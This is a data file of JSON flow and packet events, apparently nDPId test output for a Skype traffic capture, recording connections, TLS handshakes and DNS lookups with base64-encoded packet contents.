+00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1379,"source":"skype.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1431969690481,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1379,"source":"skype.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.155","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1379,"source":"skype.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1431969690481,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1379,"source":"skype.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.160","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1379,"source":"skype.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00521{"flow_id":221,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1379,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":265889,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB4RftAAEAGqfDAqAEinTfrksOrAbuMrH6YAEk0NoAYECzJDgAAAQEICj4jbGtMXR6aqu6O72aW6xh35z3AV+yJQQlzV\/czZ3tOI38nltt4UVqSgJEIfqzGP6jAcvysYI+CHXjgzzv6OFuoeDW4oVrEywZ4EAM="} +00655{"flow_id":220,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1380,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":331788,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbkspAAEAGrBTAqAEiF84hpsOqAbtGC\/RnGUhldoAYECxdtwAAAQEICj4jbKzsLyLPFgMBAKIBAACeAwFVWh+iRxw4dKYdeAHJfyjlXjv9yCDOr6NdIx96jKX10wAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00437{"flow_id":222,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1381,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":365945,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8zmFAAEAGir3AqAEinTeCm8OsnFQhlXBwFdEIa4AYEClUXgAAAQEICj4jbM5Os6ExgUZfklcFTZE="} +00438{"flow_id":200,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1382,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":457187,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WuVAAEAGlTjAqAEinTfrnMOcnE7UANd2M6a2f4AYECkRaAAAAQEICj4jbSlMWRmSrtaWXBVsqR0="} +00438{"flow_id":198,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1383,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":519836,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8LeNAAEAGKyrAqAEinTeCrcOanEPZ9QBBKvQZMIAYECo1PAAAAQEICj4jbWdOp72xFzP0mFIZu5U="} +00457{"flow_id":176,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1385,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":747083,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLz8oAAEARJ2TAqAEiwKgBAeQAADUAN6zvm+wBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAAcAAE="} +00459{"flow_id":175,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1386,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":747268,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLMb8AAEARxW\/AqAEiwKgBAdRHADUAN3UY\/nwBAAABAAAAAAAAAzMzNQEwATcBNwEzBXJzdDEzAXIFc2t5cGUDbmV0AAABAAE="} +00496{"flow_id":167,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1387,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":848041,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"0NQSxnP1PBXCt3IOCABFAABnB2ZAAEAGUR3AqAEiQTffDMOSAbvQogDzbPVBKoAZECzEwAAAAQEICj4jbq5Noe9JdRKYsr25V5AAdpQR0WFwQXZONwsp2+ImLRVUPhbhlzT9d0d7m6HpVNUn8Hw+fr6YtSFt"} +00462{"flow_id":167,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1388,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":978115,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"PBXCt3IO0NQSxnP1CABFAABNrmlAADcGszNBN98MwKgBIgG7w5Js9UF50KIBJ4AZAB0RSwAAAQEICk2iAno+I26uHXCueEdSOLNzAMaWfFxW2Oe31pOdxv3jjg=="} +00410{"flow_id":167,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1389,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":978211,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo62dAAEAGbVrAqAEiQTffDMOSAbvQogEnAAAAAFAEAAA2uwAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1390,"source":"skype.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":1431969701181,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":50094,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":223,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1390,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":181587,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA1hBAAEAGgwrAqAEinTeCm8OuAbux\/OLXAAAAALAC\/\/9NAwAAAgQFtAEDAwUBAQgKPiNv+wAAAAAEAgAA"} +00438{"flow_id":222,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1404,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":216436,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KhlAAEAGLwbAqAEinTeCm8OsnFQhlXBwFdEIa4AYEClREAAAAQEICj4jcBxOs6ExgUZfklcFTZE="} +00521{"flow_id":221,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1405,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":228617,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB4tqhAAEAGOUPAqAEinTfrksOrAbuMrH6YAEk0NoAYECzFUQAAAQEICj4jcChMXR6aqu6O72aW6xh35z3AV+yJQQlzV\/czZ3tOI38nltt4UVqSgJEIfqzGP6jAcvysYI+CHXjgzzv6OFuoeDW4oVrEywZ4EAM="} +00439{"flow_id":217,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1406,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":236683,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8XQFAAEAGkybAqAEinTfrksOogQnO4dIux\/F784AYECrtzAAAAQEICj4jcDBMXR0I+8v6kCGg1MM="} +00438{"flow_id":204,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1407,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":307986,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8rklAAEAGqsDAqAEinTeCsMOdnFaE5idx8gQMboAYECnLDQAAAQEICj4jcHdOpRO7eWBA9+mp+gg="} +00437{"flow_id":223,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1408,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":308661,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYh+dN4KbwKgBIgG7w655m4Wssfzi2KASOJA0zwAAAgQFrAQCCApOs6KgPiNv+wEDAwk="} +00426{"flow_id":223,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1409,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":308738,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0yA5AAEAGkRjAqAEinTeCm8OuAbux\/OLYeZuFrYAQECyLfQAAAQEICj4jcHdOs6Kg"} +00526{"flow_id":223,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1410,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":308873,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8TiFAAEAGCr7AqAEinTeCm8OuAbux\/OLYeZuFrYAYECwfUwAAAQEICj4jcHhOs6KggEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIC5lo\/01QILQLEuR0xNGkMY"} +00425{"flow_id":223,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1411,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":436221,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0J21AADcGOrqdN4KbwKgBIgG7w655m4WtsfzjIIAQAB2bIwAAAQEICk6zosA+I3B4"} +00462{"flow_id":223,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1412,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":436311,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNJ9JAAEAGMTzAqAEinTeCm8OuAbux\/OMgeZuFrYAYECyWOAAAAQEICj4jcPdOs6LAbiJ8sZfDJaByCG++TyeH7mntaEp3F4nXwA=="} +00440{"flow_id":135,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1413,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":528688,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA83c1AADYG6xdv3UovwKgBIpxew4ef2YMFtJoFWoAYAB25ngAAAQEICk2FefA+IwZ9t8k\/\/yge2GM="} +00656{"flow_id":220,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1415,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":546146,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADb865AAEAGSzDAqAEiF84hpsOqAbtGC\/RnGUhldoAYECxY\/wAAAQEICj4jcWTsLyLPFgMBAKIBAACeAwFVWh+iRxw4dKYdeAHJfyjlXjv9yCDOr6NdIx96jKX10wAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00462{"flow_id":208,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1418,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":730497,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABO229AAEAGFBrAqAEi1cezjsOfAbt1SdzkHtgDwIAYECzjlwAAAQEICj4jchtQDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00439{"flow_id":177,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1419,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":761617,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8bFpAAEAG7LXAqAEinTeCqsOWnFJsNFXh7fFHoYAZECrC4QAAAQEICj4jcjpOqgg\/dBFKHGWgP00="} +00505{"flow_id":209,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1420,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":804826,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrWBJAAEAGl9zAqAEinTfrnMOgAbv31LYXE02AWoAYECxLhQAAAQEICj4jcmVMWRsjTOTU6C9pwmn1THUzY5b6U80doM\/+81I3Di34csN6MEKT2gWCOGQ+NQDycBffWk+LeTwGvX3Zbg=="} +00462{"flow_id":223,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1421,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969701,"pkt_ts_usec":953126,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNkgdAAEAGxwbAqAEinTeCm8OuAbux\/OMgeZuFrYAYECyUNgAAAQEICj4jcvlOs6LAbiJ8sZfDJaByCG++TyeH7mntaEp3F4nXwA=="} +00472{"flow_id":207,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1422,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":152269,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"0NQSxnP1PBXCt3IOCABFAABU9PZAAEAGY\/7AqAEinTeCrcOeAbsMd48zg+uInYAYECxmhQAAAQEICj4jc8BOp79EOIZhDgpM596b5urYTkyt6EokOB\/jfhHHccIbekKWmsc="} +00480{"flow_id":216,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1423,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":302440,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"0NQSxnP1PBXCt3IOCABFAABbeFRAAEAGQxPAqAEib91NjsOnAbtL1T1gvTzTb4AYECw\/tgAAAQEICj4jdFZNjGHr5RyfsH3VvVnJQl71QZdIt8rlNEktfRguBXjBrITvME1ddq1hxqhh"} +00461{"flow_id":150,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1425,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":405683,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPvaAAAEAROYrAqAEiwKgBAfaEADUAO+FnvnsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAHAAB"} +00461{"flow_id":149,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1426,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":405684,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPKIwAAEARzp7AqAEiwKgBAdd3ADUAO4zaTRYBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQAB"} +00426{"flow_id":168,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":539571,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0UfxAADMGXiadNzigwKgBIpxbw5OkoMPUobuuWoARAB1vogAAAQEICk1+pqw+IySS"} +00439{"flow_id":215,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1428,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":619956,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8D+dAAEAGq5\/AqAEib91NjsOmnFcVc99Ix3A4pYAYECmZnQAAAQEICj4jdZNNjGBDwr8qfxKhl3o="} +00438{"flow_id":222,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1429,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":714190,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8+LdAAEAGYGfAqAEinTeCm8OsnFQhlXBwFdEIa4AYEClLOwAAAQEICj4jdfFOs6ExgUZfklcFTZE="} +00462{"flow_id":223,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1430,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":781340,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNj89AAEAGyT7AqAEinTeCm8OuAbux\/OMgeZuFrYAYECyQ+wAAAQEICj4jdjROs6LAbiJ8sZfDJaByCG++TyeH7mntaEp3F4nXwA=="} +00537{"flow_id":143,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1431,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":872927,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDlvNAADYGMatv3UovwKgBIgG7w4qMyvZFkcpNT4AYAB0pCQAAAQEICk2Fe0A+IwubFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00410{"flow_id":143,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1432,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":873042,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoSD9AAEAGdrrAqAEib91KL8OKAbuRyk1PAAAAAFAEAACPqgAA"} +00498{"flow_id":183,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1433,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":886745,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABladxAAEAG7wrAqAEinTeCqsOYAbvnclDsz\/tu9oAZECwyrAAAAQEICj4jdptOqgnRdB6rqSY5gTFTXdFTg9Bm\/CX0YSch8t1o2530L+EgrBJRuOnQwGMPQHcj8K4bAGf3WA=="} +00511{"flow_id":213,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1434,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":937926,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABu6thAAEAGbf\/AqAEinTeCsMOhAbuvVQflSOC7goAYECz\/zAAAAQEICj4jds5OpRVM44Sb+UDZvBPvyND8nEiSDIgGrYJQDfLAHfdrnXRK8kGdb7zASRkE5IOUEx\/7yIb01lebNVn49aeUJw=="} +00522{"flow_id":221,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1435,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969702,"pkt_ts_usec":949127,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB47+NAAEAGAAjAqAEinTfrksOrAbuMrH6YAEk0NoAYECy+oAAAAQEICj4jdtlMXR6aqu6O72aW6xh35z3AV+yJQQlzV\/czZ3tOI38nltt4UVqSgJEIfqzGP6jAcvysYI+CHXjgzzv6OFuoeDW4oVrEywZ4EAM="} +00524{"flow_id":183,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1436,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969703,"pkt_ts_usec":10140,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"PBXCt3IO0NQSxnP1CABFAAB7Zy1AADcG+qOdN4KqwKgBIgG7w5jP+29F53JRHoAZAB2mhwAAAQEICk6qGw4+I3abPfyEP1edCp6XBImpAMkjenglp+QXXjy1jF6rpANfyUgb4NhT71pcBnJjjjqBqrXVeMDvrlxIfHNSTvq4+SU9FxIHT92XRns="} +00409{"flow_id":183,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1437,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969703,"pkt_ts_usec":10271,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoh3xAAEAG0afAqAEinTeCqsOYAbvnclEeAAAAAFAEAADQTwAA"} 